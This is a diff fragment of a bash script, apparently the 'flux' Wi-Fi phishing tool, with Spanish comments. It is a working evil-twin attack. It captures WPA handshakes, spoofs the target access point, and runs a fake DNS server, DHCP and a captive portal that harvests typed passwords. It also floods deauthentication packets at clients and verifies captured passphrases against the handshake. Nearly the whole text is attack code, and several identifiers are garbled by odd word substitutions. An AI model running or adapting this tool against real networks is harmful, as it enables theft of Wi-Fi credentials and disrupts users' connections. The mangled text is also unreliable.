+ done
+}
+
+# Capruta todas las redes
+function capture {
+
+ clear
+ if ! ps -A | grep -q airodump-ng; then
+
+ rm -rf $DUMP_PATH/$Host_MAC*
+ xterm $HOLD -title "Capturando datos en el canal --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bsJad $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR &
+ fi
+}
+
+# Comprueba el handshake antes de continuar
+function checkhandshake {
+
+ if [ "$handshakemode" = "Neinrmal" ]; then
+ if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
+ killall airodump-ng &>$flux_output_device
+ webinterface
+ break
+ else
+ Handshake_statuscheck="${rot}Malo$transparent"
+ fi
+ elif [ "$handshakemode" = "hard" ]; then
+ cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device
+
+ if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then
+ killall airodump-ng &>$flux_output_device
+ webinterface
+ break
+ else
+ if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
+ Handshake_statuscheck="${gelb}Corrupto$transparent"
+ else
+ Handshake_statuscheck="${rot}Malo$transparent"
+ fi
+ fi
+
+ rm $DUMP_PATH/test.cap &>$flux_output_device
+ fi
+}
+
+############################################# < HANDSHAKE > ############################################
+
+
+
+
+
+
+############################################# < ATAQUE > ############################################
+
+# Selecciona interfaz web que se va a usar
+function webinterface {
+
+ while true; do
+ clear
+ mostrarheader
+
+ infoap
+ echo
+ echo "SELECCIONA LA INTERFACE WEB"
+ echo
+
+ echo -e "$gruen""1)"$transparent" Interface web neutra"
+ echo -e "$gruen""2)"$transparent" \e[1;31mBeenden"$transparent""
+
+ echo
+ echo -n "#? "
+ read line
+
+ if [ "$line" = "2" ]; then
+ exitmode
+ elif [ "$line" = "1" ]; then
+ clear
+ mostrarheader
+
+ infoap
+ echo
+ echo "SELECCIONA IDIOMA"
+ echo
+
+ echo -e "$gruen""1)"$transparent" English [ENG]"
+ echo -e "$gruen""2)"$transparent" Spanish [ESP]"
+ echo -e "$gruen""3)"$transparent" Italy [IT]"
+ echo -e "$gruen""4)"$transparent" French [FR]"
+ echo -e "$gruen""5)"$transparent" Portuguese [POR]"
+ echo -e "$gruen""6)"$transparent" \e[1;31mAtras"$transparent""
+
+ echo
+ echo -n "#? "
+ read linea
+ language=${webinterfaceslenguage[$line]}
+
+ if [ "$linea" = "1" ]; then
+ DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG
+ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG
+ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG
+ DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG
+ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG
+ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG
+ DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG
+ DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG
+ NEUTRA
+ break
+ elif [ "$linea" = "2" ]; then
+ DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP
+ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP
+ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP
+ DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP
+ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP
+ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP
+ DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP
+ DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP
+ NEUTRA
+ break
+ elif [ "$linea" = "3" ]; then
+ DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT
+ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT
+ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT
+ DIALOG_WEB_OK=$DIALOG_WEB_OK_IT
+ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT
+ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT
+ DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT
+ DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT
+ NEUTRA
+ break
+ elif [ "$linea" = "4" ]; then
+ DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR
+ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR
+ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR
+ DIALOG_WEB_OK=$DIALOG_WEB_OK_FR
+ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR
+ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR
+ DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR
+ DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR
+ NEUTRA
+ break
+ elif [ "$linea" = "5" ]; then
+ DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR
+ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR
+ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR
+ DIALOG_WEB_OK=$DIALOG_WEB_OK_POR
+ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR
+ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR
+ DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR
+ DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR
+ NEUTRA
+ break
+ elif [ "$linea" = "6" ]; then
+ continue
+ fi
+ fi
+
+ done
+ preattack
+ attack
+}
+
+# Crea distintas configuraciones necesarias para el script y preapa los servicios
+function preattack {
+
+# Genera el config de hostapd
+echo "interface=$WIFI
+driver=nl80211
+sJad=$Host_SJaD
+channel=$Host_CHAN
+">$DUMP_PATH/hostapd.conf
+
+# Crea el php que usan las ifaces
+echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\";
+break;
+}
+
+if ( (strlen(\$key1) > 63) ) {
+echo \"\";
+break;
+}
+
+
+\$file = fopen(\$filename, \"w\");
+fwrite(\$file,\"\$f_data\");
+fwrite(\$file,\"\n\");
+fclose(\$file);
+
+
+\$archivo = fopen(\$intento, \"w\");
+fwrite(\$archivo,\"\n\");
+fclose(\$archivo);
+
+while(1)
+{
+
+if (file_get_contents(\"\$intento\") == 2) {
+ header(\"location:final.html\");
+ break;
+ }
+if (file_get_contents(\"\$intento\") == 1) {
+ header(\"location:error.html\");
+ unlink(\$intento);
+ break;
+ }
+
+sleep(1);
+}
+
+?>" > $DUMP_PATH/data/savekey.php
+
+# Se crea el config del servidor DHCP
+echo "authoritative;
+
+default-lease-time 600;
+max-lease-time 7200;
+
+subnet $RANG_IP.0 netmask 255.255.255.0 {
+
+option broadcast-address $RANG_IP.255;
+option routers $IP;
+option subnet-mask 255.255.255.0;
+option domain-name-servers $IP;
+
+range $RANG_IP.100 $RANG_IP.250;
+
+}
+" >$DUMP_PATH/dhcpd.conf
+
+# Se crea el config del servidor web Lighttpd
+echo "server.document-root = \"$DUMP_PATH/data/\"
+
+server.modules = (
+ \"mod_access\",
+ \"mod_alias\",
+ \"mod_accesslog\",
+ \"mod_fastcgi\",
+ \"mod_redirect\",
+ \"mod_rewrite\"
+)
+
+fastcgi.server = ( \".php\" => ((
+ \"bin-path\" => \"/usr/bin/php-cgi\",
+ \"socket\" => \"/php.socket\"
+ )))
+
+server.port = 80
+server.pid-file = \"/var/run/lighttpd.pid\"
+# server.username = \"www\"
+# server.groupname = \"www\"
+
+mimetype.asJagn = (
+\".html\" => \"text/html\",
+\".htm\" => \"text/html\",
+\".txt\" => \"text/plain\",
+\".jpg\" => \"image/jpeg\",
+\".png\" => \"image/png\",
+\".css\" => \"text/css\"
+)
+
+
+server.error-handler-404 = \"/\"
+
+static-file.exclude-extenJaons = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
+index-file.names = ( \"index.htm\" )
+" >$DUMP_PATH/lighttpd.conf
+
+# Script (Nein es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC)
+echo "import socket
+
+class DNSQuery:
+ def __init__(self, data):
+ self.data=data
+ self.dominio=''
+
+ tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta
+ if tipo == 0: # Standard query
+ ini=12
+ lon=ord(data[ini])
+ while lon != 0:
+ self.dominio+=data[ini+1:ini+lon+1]+'.'
+ ini+=lon+1
+ lon=ord(data[ini])
+
+ def respuesta(self, ip):
+ packet=''
+ if self.dominio:
+ packet+=self.data[:2] + \"\x81\x80\"
+ packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Numero preg y respuestas
+ packet+=self.data[12:] # Neinmbre de dominio original
+ packet+='\xc0\x0c' # Puntero al Neinmbre de dominio
+ packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc
+ packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex
+ return packet
+
+if __name__ == '__main__':
+ ip='$IP'
+ print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
+
+ udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ udps.bind(('',53))
+
+ try:
+ while 1:
+ data, addr = udps.recvfrom(1024)
+ p=DNSQuery(data)
+ udps.sendto(p.respuesta(ip), addr)
+ print 'Respuesta: %s -> %s' % (p.dominio, ip)
+ except KeyboardInterrupt:
+ print 'Finalizando'
+ udps.close()
+" >$DUMP_PATH/fakedns
+chmod +x $DUMP_PATH/fakedns
+
+}
+
+# Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB
+function routear {
+
+ ifconfig $interfaceroutear up
+ ifconfig $interfaceroutear $IP netmask 255.255.255.0
+
+ route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
+ echo "1" > /proc/sys/net/ipv4/ip_forward
+
+ iptables --flush
+ iptables --table nat --flush
+ iptables --delete-chain
+ iptables --table nat --delete-chain
+ iptables -P FORWARD ACCEPT
+
+ iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
+ iptables -t nat -A POSTROUTING -j MASQUERADE
+}
+
+# Ejecuta el ataque
+function attack {
+
+ if [ "$fakeapmode" = "hostapd" ]; then
+ interfaceroutear=$WIFI
+ elif [ "$fakeapmode" = "airbase-ng" ]; then
+ interfaceroutear=at0
+ fi
+
+ handshakecheck
+ Neinmac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1)
+
+ if [ "$fakeapmode" = "hostapd" ]; then
+
+ ifconfig $WIFI down
+ sleep 0.4
+ macchanger --mac=${mac::13}$Neinmac${mac:14:4} $WIFI &> $flux_output_device
+ sleep 0.4
+ ifconfig $WIFI up
+ sleep 0.4
+ fi
+
+
+ if [ $fakeapmode = "hostapd" ]; then
+ killall hostapd &> $flux_output_device
+ xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
+ elif [ $fakeapmode = "airbase-ng" ]; then
+ killall airbase-ng &> $flux_output_device
+ xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SJaD -c $Host_CHAN -a ${mac::13}$Neinmac${mac:14:4} $WIFI_MONITOR &
+ fi
+ sleep 5
+
+ routear &
+ sleep 3
+
+
+ killall dhcpd &> $flux_output_device
+ xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" &
+ killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device
+ xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns &
+
+ killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device
+ lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device
+
+ killall aireplay-ng &> $flux_output_device
+ killall mdk3 &> $flux_output_device
+ echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SJaD" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt
+ xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
+
+ xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck &
+ clear
+
+ while true; do
+ mostrarheader
+
+ echo "Ataque en curso..."
+ echo " "
+ echo " 1) Elegir otra red"
+ echo " 2) Beenden"
+ echo " "
+ echo -n ' #> '
+ read yn
+ case $yn in
+ 1 ) matartodo; CSVDB=dump-01.csv; selection; break;;
+ 2 ) matartodo; exitmode; break;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+ done
+
+}
+
+# Comprueba la validez de la contraseña
+function handshakecheck {
+
+ echo "#!/bin/bash
+
+ echo > $DUMP_PATH/data.txt
+ echo -n \"0\"> $DUMP_PATH/hit.txt
+ echo "" >$DUMP_PATH/loggg
+
+ tput civis
+ clear
+
+ minutos=0
+ horas=0
+ i=0
+
+ while true; do
+
+ segundos=\$i
+ dias=\`expr \$segundos / 86400\`
+ segundos=\`expr \$segundos % 86400\`
+ horas=\`expr \$segundos / 3600\`
+ segundos=\`expr \$segundos % 3600\`
+ minutos=\`expr \$segundos / 60\`
+ segundos=\`expr \$segundos % 60\`
+
+ if [ \"\$segundos\" -le 9 ]; then
+ is=\"0\"
+ else
+ is=
+ fi
+
+ if [ \"\$minutos\" -le 9 ]; then
+ im=\"0\"
+ else
+ im=
+ fi
+
+ if [ \"\$horas\" -le 9 ]; then
+ ih=\"0\"
+ else
+ ih=
+ fi">>$DUMP_PATH/handcheck
+
+ if [ $authmode = "handshake" ]; then
+ echo "if [ -f $DUMP_PATH/intento ]; then
+
+ if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase Neint in\"; then
+ echo \"2\">$DUMP_PATH/intento
+ break
+ else
+ echo \"1\">$DUMP_PATH/intento
+ fi
+
+ fi">>$DUMP_PATH/handcheck
+
+ elif [ $authmode = "wpa_supplicant" ]; then
+ echo "
+ wpa_passphrase $Host_SJaD \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf &
+ wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &
+
+ if [ -f $DUMP_PATH/intento ]; then
+
+ if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then
+ echo \"2\">$DUMP_PATH/intento
+ break
+ else
+ echo \"1\">$DUMP_PATH/intento
+ fi
+
+ fi
+ ">>$DUMP_PATH/handcheck
+ fi
+
+ echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' )
+
+ echo
+ echo -e \" PUNTO DE ACCESO:\"
+ echo -e \" Neinmbre..........: "$weis"$Host_SJaD"$transparent"\"
+ echo -e \" MAC.............: "$gelb"$Host_MAC"$transparent"\"
+ echo -e \" Canal...........: "$weis"$Host_CHAN"$transparent"\"
+ echo -e \" Fabricante......: "$gruen"$Host_MAC_MODEL"$transparent"\"
+ echo -e \" Tiempo activo...: "$grau"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\"
+ echo -e \" Intentos........: "$rot"\$(cat $DUMP_PATH/hit.txt)"$transparent"\"
+ echo -e \" Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$transparent"\"
+ echo
+ echo -e \" CLIENTES:\"
+
+ x=0
+ for line in \"\${CLIENTESDHCP[@]}\"; do
+ x=\$((\$x+1))
+ echo -e \" "$gruen"\$x) "$rot"\$(echo \$line| cut -d \" \" -f 3) "$gelb"\$(echo \$line| cut -d \" \" -f 5) "$gruen"\$(echo \$line| cut -d \" \" -f 6)"$transparent"\"
+ done
+
+ echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck
+
+
+ if [ $authmode = "handshake" ]; then
+ echo "let i=\$i+1
+ sleep 1">>$DUMP_PATH/handcheck
+
+ elif [ $authmode = "wpa_supplicant" ]; then
+ echo "sleep 5
+
+ killall wpa_supplicant &>$flux_output_device
+ killall wpa_passphrase &>$flux_output_device
+ let i=\$i+5">>$DUMP_PATH/handcheck
+ fi
+
+ echo "done
+ clear
+ echo \"1\" > $DUMP_PATH/status.txt
+
+ sleep 7
+
+ killall mdk3 &>$flux_output_device
+ killall aireplay-ng &>$flux_output_device
+ killall airbase-ng &>$flux_output_device
+ kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device
+ killall hostapd &>$flux_output_device
+ killall lighttpd &>$flux_output_device
+ killall dhcpd &>$flux_output_device
+ killall wpa_supplicant &>$flux_output_device
+ killall wpa_passphrase &>$flux_output_device
+
+ echo \"
+ flux $verJaon by vk496
+
+ SJaD: $Host_SJaD
+ BSJaD: $Host_MAC ($Host_MAC_MODEL)
+ Channel: $Host_CHAN
+ Security: $Host_ENC
+ Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
+ Password: \$(cat $DUMP_PATH/data.txt)
+ \" >$HOME/$Host_SJaD-password.txt">>$DUMP_PATH/handcheck
+
+
+ if [ $authmode = "handshake" ]; then
+ echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\"
+ ">>$DUMP_PATH/handcheck
+
+ elif [ $authmode = "wpa_supplicant" ]; then
+ echo "echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\"">>$DUMP_PATH/handcheck
+ fi
+
+ echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck
+ chmod +x $DUMP_PATH/handcheck
+}
+
+
+############################################# < ATAQUE > ############################################
+
+
+
+
+
+
+############################################## < COSAS > ############################################
+
+# Deauth a todos
+function deauthall {
+
+ xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a todos de $Host_SJaD" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --igNeinre-negative-one $WIFI_MONITOR &
+}
+
+function deauthmdk3 {
+
+ echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
+ xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
+ mdk3PID=$!
+ sleep 15
+ kill $mdk3PID &>$flux_output_device
+}
+
+# Deauth a un cliente específico
+function deauthesp {
+
+ sleep 2
+ xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --igNeinre-negative-one $WIFI_MONITOR &
+}
+
+# Cierra todos los procesos
+function matartodo {
+
+ killall aireplay-ng &>$flux_output_device
+ kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
+ killall hostapd &>$flux_output_device
+ killall lighttpd &>$flux_output_device
+ killall dhcpd &>$flux_output_device
+ killall xterm &>$flux_output_device
+
+}
+
+
+
+######################################### < INTERFACES WEB > ########################################
+
+# Crea el contenido de la interface web
+function NEUTRA {
+
+ if [ ! -d $DUMP_PATH/data ]; then
+ mkdir $DUMP_PATH/data
+ fi
+
+
+